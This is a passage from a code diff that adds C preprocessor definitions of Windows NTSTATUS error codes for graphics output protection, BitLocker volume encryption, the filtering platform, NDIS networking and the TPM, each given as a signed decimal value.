STATUS_GRAPHICS_DEPENDABLE_CHILD_STATUS 1075708988 +#define STATUS_GRAPHICS_OPM_NOT_SUPPORTED -1071774464 +#define STATUS_GRAPHICS_COPP_NOT_SUPPORTED -1071774463 +#define STATUS_GRAPHICS_UAB_NOT_SUPPORTED -1071774462 +#define STATUS_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS -1071774461 +#define STATUS_GRAPHICS_OPM_NO_PROTECTED_OUTPUTS_EXIST -1071774459 +#define STATUS_GRAPHICS_OPM_INTERNAL_ERROR -1071774453 +#define STATUS_GRAPHICS_OPM_INVALID_HANDLE -1071774452 +#define STATUS_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH -1071774450 +#define STATUS_GRAPHICS_OPM_SPANNING_MODE_ENABLED -1071774449 +#define STATUS_GRAPHICS_OPM_THEATER_MODE_ENABLED -1071774448 +#define STATUS_GRAPHICS_PVP_HFS_FAILED -1071774447 +#define STATUS_GRAPHICS_OPM_INVALID_SRM -1071774446 +#define STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP -1071774445 +#define STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP -1071774444 +#define STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA -1071774443 +#define STATUS_GRAPHICS_OPM_HDCP_SRM_NEVER_SET -1071774442 +#define STATUS_GRAPHICS_OPM_RESOLUTION_TOO_HIGH -1071774441 +#define STATUS_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE -1071774440 +#define STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_NO_LONGER_EXISTS -1071774438 +#define STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_COPP_SEMANTICS -1071774436 +#define STATUS_GRAPHICS_OPM_INVALID_INFORMATION_REQUEST -1071774435 +#define STATUS_GRAPHICS_OPM_DRIVER_INTERNAL_ERROR -1071774434 +#define STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_OPM_SEMANTICS -1071774433 +#define STATUS_GRAPHICS_OPM_SIGNALING_NOT_SUPPORTED -1071774432 +#define STATUS_GRAPHICS_OPM_INVALID_CONFIGURATION_REQUEST -1071774431 +#define STATUS_GRAPHICS_I2C_NOT_SUPPORTED -1071774336 +#define STATUS_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST -1071774335 +#define STATUS_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA -1071774334 +#define STATUS_GRAPHICS_I2C_ERROR_RECEIVING_DATA -1071774333 +#define STATUS_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED -1071774332 +#define STATUS_GRAPHICS_DDCCI_INVALID_DATA -1071774331 +#define STATUS_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE -1071774330 +#define STATUS_GRAPHICS_DDCCI_INVALID_CAPABILITIES_STRING -1071774329 +#define STATUS_GRAPHICS_MCA_INTERNAL_ERROR -1071774328 +#define STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND -1071774327 +#define STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH -1071774326 +#define STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM -1071774325 +#define STATUS_GRAPHICS_INVALID_PHYSICAL_MONITOR_HANDLE -1071774324 +#define STATUS_GRAPHICS_MONITOR_NO_LONGER_EXISTS -1071774323 +#define STATUS_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED -1071774240 +#define STATUS_GRAPHICS_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME -1071774239 +#define STATUS_GRAPHICS_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP -1071774238 +#define STATUS_GRAPHICS_MIRRORING_DEVICES_NOT_SUPPORTED -1071774237 +#define STATUS_GRAPHICS_INVALID_POINTER -1071774236 +#define STATUS_GRAPHICS_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE -1071774235 +#define STATUS_GRAPHICS_PARAMETER_ARRAY_TOO_SMALL -1071774234 +#define STATUS_GRAPHICS_INTERNAL_ERROR -1071774233 +#define STATUS_GRAPHICS_SESSION_TYPE_CHANGE_IN_PROGRESS -1071774232 +#define STATUS_GRAPHICS_UNKNOWN_BIOS_FRAME_BUFFER_NOT_FOUND -1071774208 +#define STATUS_GRAPHICS_UEFI_FRAME_BUFFER_NOT_FOUND -1071774207 +#define STATUS_CAMERA_INVALID_CONFIGURATION -1071710208 +#define STATUS_CAMERA_INSUFFICIENT_BANDWIDTH -1071710207 +#define STATUS_FVE_LOCKED_VOLUME -1071579136 +#define STATUS_FVE_NOT_ENCRYPTED -1071579135 +#define STATUS_FVE_BAD_INFORMATION -1071579134 +#define STATUS_FVE_TOO_SMALL -1071579133 +#define STATUS_FVE_FAILED_WRONG_FS -1071579132 +#define STATUS_FVE_BAD_PARTITION_SIZE -1071579131 +#define STATUS_FVE_FS_NOT_EXTENDED -1071579130 +#define STATUS_FVE_FS_MOUNTED -1071579129 +#define STATUS_FVE_NO_LICENSE -1071579128 +#define STATUS_FVE_ACTION_NOT_ALLOWED -1071579127 +#define STATUS_FVE_BAD_DATA -1071579126 +#define STATUS_FVE_VOLUME_NOT_BOUND -1071579125 +#define STATUS_FVE_NOT_DATA_VOLUME -1071579124 +#define STATUS_FVE_CONV_READ_ERROR -1071579123 +#define STATUS_FVE_CONV_WRITE_ERROR -1071579122 +#define STATUS_FVE_OVERLAPPED_UPDATE -1071579121 +#define STATUS_FVE_FAILED_SECTOR_SIZE -1071579120 +#define STATUS_FVE_FAILED_AUTHENTICATION -1071579119 +#define STATUS_FVE_NOT_OS_VOLUME -1071579118 +#define STATUS_FVE_KEYFILE_NOT_FOUND -1071579117 +#define STATUS_FVE_KEYFILE_INVALID -1071579116 +#define STATUS_FVE_KEYFILE_NO_VMK -1071579115 +#define STATUS_FVE_TPM_DISABLED -1071579114 +#define STATUS_FVE_TPM_SRK_AUTH_NOT_ZERO -1071579113 +#define STATUS_FVE_TPM_INVALID_PCR -1071579112 +#define STATUS_FVE_TPM_NO_VMK -1071579111 +#define STATUS_FVE_PIN_INVALID -1071579110 +#define STATUS_FVE_AUTH_INVALID_APPLICATION -1071579109 +#define STATUS_FVE_AUTH_INVALID_CONFIG -1071579108 +#define STATUS_FVE_DEBUGGER_ENABLED -1071579107 +#define STATUS_FVE_DRY_RUN_FAILED -1071579106 +#define STATUS_FVE_BAD_METADATA_POINTER -1071579105 +#define STATUS_FVE_OLD_METADATA_COPY -1071579104 +#define STATUS_FVE_REBOOT_REQUIRED -1071579103 +#define STATUS_FVE_RAW_ACCESS -1071579102 +#define STATUS_FVE_RAW_BLOCKED -1071579101 +#define STATUS_FVE_NO_AUTOUNLOCK_MASTER_KEY -1071579100 +#define STATUS_FVE_MOR_FAILED -1071579099 +#define STATUS_FVE_NO_FEATURE_LICENSE -1071579098 +#define STATUS_FVE_POLICY_USER_DISABLE_RDV_NOT_ALLOWED -1071579097 +#define STATUS_FVE_CONV_RECOVERY_FAILED -1071579096 +#define STATUS_FVE_VIRTUALIZED_SPACE_TOO_BIG -1071579095 +#define STATUS_FVE_INVALID_DATUM_TYPE -1071579094 +#define STATUS_FVE_VOLUME_TOO_SMALL -1071579088 +#define STATUS_FVE_ENH_PIN_INVALID -1071579087 +#define STATUS_FVE_FULL_ENCRYPTION_NOT_ALLOWED_ON_TP_STORAGE -1071579086 +#define STATUS_FVE_WIPE_NOT_ALLOWED_ON_TP_STORAGE -1071579085 +#define STATUS_FVE_NOT_ALLOWED_ON_CSV_STACK -1071579084 +#define STATUS_FVE_NOT_ALLOWED_ON_CLUSTER -1071579083 +#define STATUS_FVE_NOT_ALLOWED_TO_UPGRADE_WHILE_CONVERTING -1071579082 +#define STATUS_FVE_WIPE_CANCEL_NOT_APPLICABLE -1071579081 +#define STATUS_FVE_EDRIVE_DRY_RUN_FAILED -1071579080 +#define STATUS_FVE_SECUREBOOT_DISABLED -1071579079 +#define STATUS_FVE_SECUREBOOT_CONFIG_CHANGE -1071579078 +#define STATUS_FVE_DEVICE_LOCKEDOUT -1071579077 +#define STATUS_FVE_VOLUME_EXTEND_PREVENTS_EOW_DECRYPT -1071579076 +#define STATUS_FVE_NOT_DE_VOLUME -1071579075 +#define STATUS_FVE_PROTECTION_DISABLED -1071579074 +#define STATUS_FVE_PROTECTION_CANNOT_BE_DISABLED -1071579073 +#define STATUS_FVE_OSV_KSR_NOT_ALLOWED -1071579072 +#define STATUS_FVE_EDRIVE_BAND_ENUMERATION_FAILED -1071579071 +#define STATUS_FVE_POLICY_ON_RDV_EXCLUSION_LIST -1071579070 +#define STATUS_FVE_DATASET_FULL -1071579069 +#define STATUS_FVE_METADATA_FULL -1071579068 +#define STATUS_FVE_SUSPEND_PROTECTION_NOT_ALLOWED -1071579067 +#define STATUS_FVE_DATUM_PARTIALLY_INVALID -1071579066 +#define STATUS_FVE_DATASET_TPM_DATUMS_INCONSISTENT -1071579065 +#define STATUS_FVE_SECURE_BOOT_BINDINGS_OUT_OF_SYNC -1071579064 +#define STATUS_FVE_SECURE_BOOT_BINDING_DATA_OUT_OF_SYNC -1071579063 +#define STATUS_FVE_ORPHANED_TPM_BINDING_DATUM -1071579062 +#define STATUS_FVE_BAD_TPM_DATUM_ASSOCIATION -1071579061 +#define STATUS_FVE_FINAL_TPM_PCR_VALUES_MATCH -1071579060 +#define STATUS_FVE_MATCHING_PCRS_TPM_FAILURE -1071579059 +#define STATUS_FVE_GENERAL_TPM_FAILURE -1071579058 +#define STATUS_FVE_TPM_NONEXISTENT -1071579057 +#define STATUS_FVE_NO_PCR_BOOT_LOCK_BOUNDARY -1071579056 +#define STATUS_FVE_PCR_BOOT_LOCK_BOUNDARY -1071579055 +#define STATUS_FVE_FW_UPDATE_TPM_BINDINGS_NOT_REFRESHED -1071579054 +#define STATUS_FVE_INVALID_TPM_BINDING_CONFIGURATION -1071579053 +#define STATUS_FVE_TOO_MANY_TPM_BINDINGS -1071579052 +#define STATUS_FVE_TPM_BINDING_ASSOCIATION_FAILURE -1071579051 +#define STATUS_FVE_ORPHANED_PCR_DIGEST_DATUM -1071579050 +#define STATUS_FVE_HW_ACCELERATED_ENCRYPTION_NOT_ALLOWED -1071579049 +#define STATUS_FVE_NO_MATCHING_TPM_BINDINGS -1071579048 +#define STATUS_FVE_TPMPV2_USED_FAILURE -1071579047 +#define STATUS_FVE_NO_TPM_BINDINGS -1071579046 +#define STATUS_FVE_FW_UPDATE_PCRS_BLOCK -1071579044 +#define STATUS_FVE_FW_UPDATE_PCRS_NOT_EXCLUDED -1071579043 +#define STATUS_FVE_FAILED_TO_UNWRAP_HW_WRAPPED_KEY -1071579042 +#define STATUS_FVE_HARDWARE_CRYPTO_ACCELERATOR_NOT_FIPS_COMPLIANT -1071579041 +#define STATUS_FVE_HARDWARE_CRYPTO_KEY_MANAGER_NOT_FIPS_COMPLIANT -1071579040 +#define STATUS_FVE_TPM_PCRS_DO_NOT_MATCH_LOG -1071579039 +#define STATUS_FWP_CALLOUT_NOT_FOUND -1071513599 +#define STATUS_FWP_CONDITION_NOT_FOUND -1071513598 +#define STATUS_FWP_FILTER_NOT_FOUND -1071513597 +#define STATUS_FWP_LAYER_NOT_FOUND -1071513596 +#define STATUS_FWP_PROVIDER_NOT_FOUND -1071513595 +#define STATUS_FWP_PROVIDER_CONTEXT_NOT_FOUND -1071513594 +#define STATUS_FWP_SUBLAYER_NOT_FOUND -1071513593 +#define STATUS_FWP_NOT_FOUND -1071513592 +#define STATUS_FWP_ALREADY_EXISTS -1071513591 +#define STATUS_FWP_IN_USE -1071513590 +#define STATUS_FWP_DYNAMIC_SESSION_IN_PROGRESS -1071513589 +#define STATUS_FWP_WRONG_SESSION -1071513588 +#define STATUS_FWP_NO_TXN_IN_PROGRESS -1071513587 +#define STATUS_FWP_TXN_IN_PROGRESS -1071513586 +#define STATUS_FWP_TXN_ABORTED -1071513585 +#define STATUS_FWP_SESSION_ABORTED -1071513584 +#define STATUS_FWP_INCOMPATIBLE_TXN -1071513583 +#define STATUS_FWP_TIMEOUT -1071513582 +#define STATUS_FWP_NET_EVENTS_DISABLED -1071513581 +#define STATUS_FWP_INCOMPATIBLE_LAYER -1071513580 +#define STATUS_FWP_KM_CLIENTS_ONLY -1071513579 +#define STATUS_FWP_LIFETIME_MISMATCH -1071513578 +#define STATUS_FWP_BUILTIN_OBJECT -1071513577 +#define STATUS_FWP_TOO_MANY_CALLOUTS -1071513576 +#define STATUS_FWP_NOTIFICATION_DROPPED -1071513575 +#define STATUS_FWP_TRAFFIC_MISMATCH -1071513574 +#define STATUS_FWP_INCOMPATIBLE_SA_STATE -1071513573 +#define STATUS_FWP_NULL_POINTER -1071513572 +#define STATUS_FWP_INVALID_ENUMERATOR -1071513571 +#define STATUS_FWP_INVALID_FLAGS -1071513570 +#define STATUS_FWP_INVALID_NET_MASK -1071513569 +#define STATUS_FWP_INVALID_RANGE -1071513568 +#define STATUS_FWP_INVALID_INTERVAL -1071513567 +#define STATUS_FWP_ZERO_LENGTH_ARRAY -1071513566 +#define STATUS_FWP_NULL_DISPLAY_NAME -1071513565 +#define STATUS_FWP_INVALID_ACTION_TYPE -1071513564 +#define STATUS_FWP_INVALID_WEIGHT -1071513563 +#define STATUS_FWP_MATCH_TYPE_MISMATCH -1071513562 +#define STATUS_FWP_TYPE_MISMATCH -1071513561 +#define STATUS_FWP_OUT_OF_BOUNDS -1071513560 +#define STATUS_FWP_RESERVED -1071513559 +#define STATUS_FWP_DUPLICATE_CONDITION -1071513558 +#define STATUS_FWP_DUPLICATE_KEYMOD -1071513557 +#define STATUS_FWP_ACTION_INCOMPATIBLE_WITH_LAYER -1071513556 +#define STATUS_FWP_ACTION_INCOMPATIBLE_WITH_SUBLAYER -1071513555 +#define STATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_LAYER -1071513554 +#define STATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_CALLOUT -1071513553 +#define STATUS_FWP_INCOMPATIBLE_AUTH_METHOD -1071513552 +#define STATUS_FWP_INCOMPATIBLE_DH_GROUP -1071513551 +#define STATUS_FWP_EM_NOT_SUPPORTED -1071513550 +#define STATUS_FWP_NEVER_MATCH -1071513549 +#define STATUS_FWP_PROVIDER_CONTEXT_MISMATCH -1071513548 +#define STATUS_FWP_INVALID_PARAMETER -1071513547 +#define STATUS_FWP_TOO_MANY_SUBLAYERS -1071513546 +#define STATUS_FWP_CALLOUT_NOTIFICATION_FAILED -1071513545 +#define STATUS_FWP_INVALID_AUTH_TRANSFORM -1071513544 +#define STATUS_FWP_INVALID_CIPHER_TRANSFORM -1071513543 +#define STATUS_FWP_INCOMPATIBLE_CIPHER_TRANSFORM -1071513542 +#define STATUS_FWP_INVALID_TRANSFORM_COMBINATION -1071513541 +#define STATUS_FWP_DUPLICATE_AUTH_METHOD -1071513540 +#define STATUS_FWP_INVALID_TUNNEL_ENDPOINT -1071513539 +#define STATUS_FWP_L2_DRIVER_NOT_READY -1071513538 +#define STATUS_FWP_KEY_DICTATOR_ALREADY_REGISTERED -1071513537 +#define STATUS_FWP_KEY_DICTATION_INVALID_KEYING_MATERIAL -1071513536 +#define STATUS_FWP_CONNECTIONS_DISABLED -1071513535 +#define STATUS_FWP_INVALID_DNS_NAME -1071513534 +#define STATUS_FWP_STILL_ON -1071513533 +#define STATUS_FWP_IKEEXT_NOT_RUNNING -1071513532 +#define STATUS_FWP_TCPIP_NOT_READY -1071513344 +#define STATUS_FWP_INJECT_HANDLE_CLOSING -1071513343 +#define STATUS_FWP_INJECT_HANDLE_STALE -1071513342 +#define STATUS_FWP_CANNOT_PEND -1071513341 +#define STATUS_FWP_DROP_NOICMP -1071513340 +#define STATUS_NDIS_CLOSING -1071448062 +#define STATUS_NDIS_BAD_VERSION -1071448060 +#define STATUS_NDIS_BAD_CHARACTERISTICS -1071448059 +#define STATUS_NDIS_ADAPTER_NOT_FOUND -1071448058 +#define STATUS_NDIS_OPEN_FAILED -1071448057 +#define STATUS_NDIS_DEVICE_FAILED -1071448056 +#define STATUS_NDIS_MULTICAST_FULL -1071448055 +#define STATUS_NDIS_MULTICAST_EXISTS -1071448054 +#define STATUS_NDIS_MULTICAST_NOT_FOUND -1071448053 +#define STATUS_NDIS_REQUEST_ABORTED -1071448052 +#define STATUS_NDIS_RESET_IN_PROGRESS -1071448051 +#define STATUS_NDIS_NOT_SUPPORTED -1071447877 +#define STATUS_NDIS_INVALID_PACKET -1071448049 +#define STATUS_NDIS_ADAPTER_NOT_READY -1071448047 +#define STATUS_NDIS_INVALID_LENGTH -1071448044 +#define STATUS_NDIS_INVALID_DATA -1071448043 +#define STATUS_NDIS_BUFFER_TOO_SHORT -1071448042 +#define STATUS_NDIS_INVALID_OID -1071448041 +#define STATUS_NDIS_ADAPTER_REMOVED -1071448040 +#define STATUS_NDIS_UNSUPPORTED_MEDIA -1071448039 +#define STATUS_NDIS_GROUP_ADDRESS_IN_USE -1071448038 +#define STATUS_NDIS_FILE_NOT_FOUND -1071448037 +#define STATUS_NDIS_ERROR_READING_FILE -1071448036 +#define STATUS_NDIS_ALREADY_MAPPED -1071448035 +#define STATUS_NDIS_RESOURCE_CONFLICT -1071448034 +#define STATUS_NDIS_MEDIA_DISCONNECTED -1071448033 +#define STATUS_NDIS_INVALID_ADDRESS -1071448030 +#define STATUS_NDIS_INVALID_DEVICE_REQUEST -1071448048 +#define STATUS_NDIS_PAUSED -1071448022 +#define STATUS_NDIS_INTERFACE_NOT_FOUND -1071448021 +#define STATUS_NDIS_UNSUPPORTED_REVISION -1071448020 +#define STATUS_NDIS_INVALID_PORT -1071448019 +#define STATUS_NDIS_INVALID_PORT_STATE -1071448018 +#define STATUS_NDIS_LOW_POWER_STATE -1071448017 +#define STATUS_NDIS_REINIT_REQUIRED -1071448016 +#define STATUS_NDIS_NO_QUEUES -1071448015 +#define STATUS_NDIS_DOT11_AUTO_CONFIG_ENABLED -1071439872 +#define STATUS_NDIS_DOT11_MEDIA_IN_USE -1071439871 +#define STATUS_NDIS_DOT11_POWER_STATE_INVALID -1071439870 +#define STATUS_NDIS_PM_WOL_PATTERN_LIST_FULL -1071439869 +#define STATUS_NDIS_PM_PROTOCOL_OFFLOAD_LIST_FULL -1071439868 +#define STATUS_NDIS_DOT11_AP_CHANNEL_CURRENTLY_NOT_AVAILABLE -1071439867 +#define STATUS_NDIS_DOT11_AP_BAND_CURRENTLY_NOT_AVAILABLE -1071439866 +#define STATUS_NDIS_DOT11_AP_CHANNEL_NOT_ALLOWED -1071439865 +#define STATUS_NDIS_DOT11_AP_BAND_NOT_ALLOWED -1071439864 +#define STATUS_NDIS_DOT11_AP_RADIO_RESTRICTION -1071439863 +#define STATUS_NDIS_INDICATION_REQUIRED 1076035585 +#define STATUS_NDIS_OFFLOAD_POLICY -1071443953 +#define STATUS_NDIS_OFFLOAD_CONNECTION_REJECTED -1071443950 +#define STATUS_NDIS_OFFLOAD_PATH_REJECTED -1071443949 +#define STATUS_TPM_ERROR_MASK -1071054848 +#define STATUS_TPM_AUTHFAIL -1071054847 +#define STATUS_TPM_BADINDEX -1071054846 +#define STATUS_TPM_BAD_PARAMETER -1071054845 +#define STATUS_TPM_AUDITFAILURE -1071054844 +#define STATUS_TPM_CLEAR_DISABLED -1071054843 +#define STATUS_TPM_DEACTIVATED -1071054842 +#define STATUS_TPM_DISABLED -1071054841 +#define STATUS_TPM_DISABLED_CMD -1071054840 +#define STATUS_TPM_FAIL -1071054839 +#define STATUS_TPM_BAD_ORDINAL -1071054838 +#define STATUS_TPM_INSTALL_DISABLED -1071054837 +#define STATUS_TPM_INVALID_KEYHANDLE -1071054836 +#define STATUS_TPM_KEYNOTFOUND -1071054835 +#define STATUS_TPM_INAPPROPRIATE_ENC -1071054834 +#define STATUS_TPM_MIGRATEFAIL -1071054833 +#define STATUS_TPM_INVALID_PCR_INFO -1071054832 +#define STATUS_TPM_NOSPACE -1071054831 +#define STATUS_TPM_NOSRK -1071054830 +#define STATUS_TPM_NOTSEALED_BLOB -1071054829 +#define STATUS_TPM_OWNER_SET -1071054828 +#define STATUS_TPM_RESOURCES -1071054827 +#define STATUS_TPM_SHORTRANDOM -1071054826 +#define STATUS_TPM_SIZE -1071054825 +#define STATUS_TPM_WRONGPCRVAL -1071054824 +#define STATUS_TPM_BAD_PARAM_SIZE -1071054823 +#define STATUS_TPM_SHA_THREAD -1071054822 +#define STATUS_TPM_SHA_ERROR -1071054821 +#define STATUS_TPM_FAILEDSELFTEST -1071054820 +#define STATUS_TPM_AUTH2FAIL -1071054819 +#define STATUS_TPM_BADTAG -1071054818 +#define STATUS_TPM_IOERROR -1071054817 +#define STATUS_TPM_ENCRYPT_ERROR -1071054816 +#define STATUS_TPM_DECRYPT_ERROR -1071054815 +#define STATUS_TPM_INVALID_AUTHHANDLE -1071054814 +#define STATUS_TPM_NO_ENDORSEMENT -1071054813 +#define STATUS_TPM_INVALID_KEYUSAGE -1071054812 +#define STATUS_TPM_WRONG_ENTITYTYPE -1071054811 +#define STATUS_TPM_INVALID_POSTINIT -1071054810 +#define STATUS_TPM_INAPPROPRIATE_SIG -1071054809 +#define STATUS_TPM_BAD_KEY_PROPERTY -1071054808 +#define STATUS_TPM_BAD_MIGRATION -1071054807 +#define STATUS_TPM_BAD_SCHEME -1071054806 +#define STATUS_TPM_BAD_DATASIZE -1071054805 +#define STATUS_TPM_BAD_MODE -1071054804 +#define STATUS_TPM_BAD_PRESENCE -1071054803 +#define STATUS_TPM_BAD_VERSION -1071054802 +#define STATUS_TPM_NO_WRAP_TRANSPORT -1071054801 +#define STATUS_TPM_AUDITFAIL_UNSUCCESSFUL -1071054800 +#define STATUS_TPM_AUDITFAIL_SUCCESSFUL -1071054799 +#define STATUS_TPM_NOTRESETABLE -1071054798 +#define STATUS_TPM_NOTLOCAL -1071054797 +#define STATUS_TPM_BAD_TYPE -1071054796 +#define STATUS_TPM_INVALID_RESOURCE -1071054795 +#define STATUS_TPM_NOTFIPS -1071054794 +#define STATUS_TPM_INVALID_FAMILY -1071054793 +#define STATUS_TPM_NO_NV_PERMISSION -1071054792 +#define STATUS_TPM_REQUIRES_SIGN -1071054791 +#define STATUS_TPM_KEY_NOTSUPPORTED -1071054790 +#define STATUS_TPM_AUTH_CONFLICT -1071054789 +#define STATUS_TPM_AREA_LOCKED -1071054788 +#define STATUS_TPM_BAD_LOCALITY -1071054787 +#define STATUS_TPM_READ_ONLY -1071054786 +#define STATUS_TPM_PER_NOWRITE -1071054785 +#define STATUS_TPM_FAMILYCOUNT -1071054784 +#define STATUS_TPM_WRITE_LOCKED -1071054783 +#define STATUS_TPM_BAD_ATTRIBUTES -1071054782 +#define STATUS_TPM_INVALID_STRUCTURE -1071054781 +#define STATUS_TPM_KEY_OWNER_CONTROL -1071054780 +#define STATUS_TPM_BAD_COUNTER -1071054779 +#define STATUS_TPM_NOT_FULLWRITE -1071054778 +#define STATUS_TPM_CONTEXT_GAP -1071054777 +#define STATUS_TPM_MAXNVWRITES -1071054776 +#define STATUS_TPM_NOOPERATOR -1071054775 +#define STATUS_TPM_RESOURCEMISSING -1071054774 +#define STATUS_TPM_DELEGATE_LOCK -1071054773 +#define STATUS_TPM_DELEGATE_FAMILY -1071054772 +#define STATUS_TPM_DELEGATE_ADMIN -1071054771 +#define STATUS_TPM_TRANSPORT_NOTEXCLUSIVE -1071054770 +#define STATUS_TPM_OWNER_CONTROL -1071054769 +#define STATUS_TPM_DAA_RESOURCES -1071054768 +#define STATUS_TPM_DAA_INPUT_DATA0 -1071054767 +#define STATUS_TPM_DAA_INPUT_DATA1 -1071054766 +#define STATUS_TPM_DAA_ISSUER_SETTINGS -1071054765 +#define STATUS_TPM_DAA_TPM_SETTINGS -1071054764 +#define STATUS_TPM_DAA_STAGE -1071054763 +#define STATUS_TPM_DAA_ISSUER_VALIDITY -1071054762 +#define STATUS_TPM_DAA_WRONG_W -1071054761 +#define STATUS_TPM_BAD_HANDLE -1071054760 +#define STATUS_TPM_BAD_DELEGATE -1071054759 +#define STATUS_TPM_BADCONTEXT -1071054758 +#define STATUS_TPM_TOOMANYCONTEXTS -1071054757 +#define STATUS_TPM_MA_TICKET_SIGNATURE -1071054756 +#define STATUS_TPM_MA_DESTINATION -1071054755 +#define STATUS_TPM_MA_SOURCE -1071054754 +#define STATUS_TPM_MA_AUTHORITY -1071054753 +#define STATUS_TPM_PERMANENTEK -1071054751 +#define STATUS_TPM_BAD_SIGNATURE -1071054750 +#define STATUS_TPM_NOCONTEXTSPACE -1071054749 +#define STATUS_TPM_20_E_ASYMMETRIC -1071054719 +#define STATUS_TPM_20_E_ATTRIBUTES -1071054718 +#define STATUS_TPM_20_E_HASH -1071054717 +#define STATUS_TPM_20_E_VALUE -1071054716 +#define STATUS_TPM_20_E_HIERARCHY -1071054715 +#define STATUS_TPM_20_E_KEY_SIZE -1071054713 +#define STATUS_TPM_20_E_MGF -1071054712 +#define STATUS_TPM_20_E_MODE -1071054711 +#define STATUS_TPM_20_E_TYPE -1071054710 +#define STATUS_TPM_20_E_HANDLE -1071054709 +#define STATUS_TPM_20_E_KDF -1071054708 +#define STATUS_TPM_20_E_RANGE -1071054707 +#define STATUS_TPM_20_E_AUTH_FAIL -1071054706 +#define STATUS_TPM_20_E_NONCE -1071054705 +#define STATUS_TPM_20_E_PP -1071054704 +#define STATUS_TPM_20_E_SCHEME -1071054702 +#define STATUS_TPM_20_E_SIZE -1071054699 +#define STATUS_TPM_20_E_SYMMETRIC -1071054698 +#define STATUS_TPM_20_E_TAG -1071054697 +#define STATUS_TPM_20_E_SELECTOR -1071054696 +#define STATUS_TPM_20_E_INSUFFICIENT -1071054694 +#define STATUS_TPM_20_E_SIGNATURE -1071054693 +#define STATUS_TPM_20_E_KEY -1071054692 +#define STATUS_TPM_20_E_POLICY_FAIL -1071054691 +#define STATUS_TPM_20_E_INTEGRITY -1071054689 +#define STATUS_TPM_20_E_TICKET -1071054688 +#define STATUS_TPM_20_E_RESERVED_BITS -1071054687 +#define STATUS_TPM_20_E_BAD_AUTH -1071054686 +#define STATUS_TPM_20_E_EXPIRED -1071054685 +#define STATUS_TPM_20_E_POLICY_CC -1071054684 +#define STATUS_TPM_20_E_BINDING -1071054683 +#define STATUS_TPM_20_E_CURVE -1071054682 +#define STATUS_TPM_20_E_ECC_POINT -1071054681 +#define STATUS_TPM_20_E_INITIALIZE -1071054592 +#define STATUS_TPM_20_E_FAILURE -1071054591 +#define STATUS_TPM_20_E_SEQUENCE -1071054589 +#define STATUS_TPM_20_E_PRIVATE -1071054581 +#define STATUS_TPM_20_E_HMAC -1071054567 +#define STATUS_TPM_20_E_DISABLED -1071054560 +#define STATUS_TPM_20_E_EXCLUSIVE -1071054559 +#define STATUS_TPM_20_E_ECC_CURVE -1071054557 +#define STATUS_TPM_20_E_AUTH_TYPE -1071054556 +#define STATUS_TPM_20_E_AUTH_MISSING -1071054555 +#define STATUS_TPM_20_E_POLICY -1071054554 +#define STATUS_TPM_20_E_PCR -1071054553 +#define STATUS_TPM_20_E_PCR_CHANGED -1071054552 +#define STATUS_TPM_20_E_UPGRADE -1071054547 +#define STATUS_TPM_20_E_TOO_MANY_CONTEXTS -1071054546 +#define STATUS_TPM_20_E_AUTH_UNAVAILABLE -1071054545 +#define STATUS_TPM_20_E_REBOOT -1071054544 +#define STATUS_TPM_20_E_UNBALANCED -1071054543 +#define STATUS_TPM_20_E_COMMAND_SIZE -1071054526 +#define STATUS_TPM_20_E_COMMAND_CODE -1071054525 +#define STATUS_TPM_20_E_AUTHSIZE -1071054524 +#define STATUS_TPM_20_E_AUTH_CONTEXT -1071054523 +#define STATUS_TPM_20_E_NV_RANGE -1071054522 +#define STATUS_TPM_20_E_NV_SIZE -1071054521 +#define STATUS_TPM_20_E_NV_LOCKED -1071054520 +#define STATUS_TPM_20_E_NV_AUTHORIZATION -1071054519 +#define STATUS_TPM_20_E_NV_UNINITIALIZED -1071054518 +#define STATUS_TPM_20_E_NV_SPACE -1071054517 +#define STATUS_TPM_20_E_NV_DEFINED -1071054516 +#define STATUS_TPM_20_E_BAD_CONTEXT -1071054512 +#define STATUS_TPM_20_E_CPHASH -1071054511 +#define STATUS_TPM_20_E_PARENT -1071054510 +#define STATUS_TPM_20_E_NEEDS_TEST -1071054509 +#define STATUS_TPM_20_E_NO_RESULT -1071054508 +#define STATUS_TPM_20_E_SENSITIVE -1071054507 +#define STATUS_TPM_COMMAND_BLOCKED -1071053824 +#define STATUS_TPM_INVALID_HANDLE -1071053823 +#define STATUS_TPM_DUPLICATE_VHANDLE -1071053822 +#define STATUS_TPM_EMBEDDED_COMMAND_BLOCKED -1071053821 +#define STATUS_TPM_EMBEDDED_COMMAND_UNSUPPORTED -1071053820 +#define STATUS_TPM_RETRY -1071052800 +#define STATUS_TPM_NEEDS_SELFTEST -1071052799 +#define STATUS_TPM_DOING_SELFTEST -1071052798 +#define STATUS_TPM_DEFEND_LOCK_RUNNING -1071052797 +#define STATUS_TPM_COMMAND_CANCELED -1071050751 +#define STATUS_TPM_TOO_MANY_CONTEXTS -1071050750 +#define STATUS_TPM_NOT_FOUND -1071050749 +#define STATUS_TPM_ACCESS_DENIED -1071050748 +#define STATUS_TPM_INSUFFICIENT_BUFFER -1071050747 +#define STATUS_TPM_PPI_FUNCTION_UNSUPPORTED -1071050746 +#define STATUS_TPM_IN_EXCLUSIVE_MODE -1071050745 +#define STATUS_TPM_REBOOT_REQUIRED -1071050744 +#define STATUS_PCP_ERROR_MASK -1071046656 +#define STATUS_PCP_DEVICE_NOT_READY 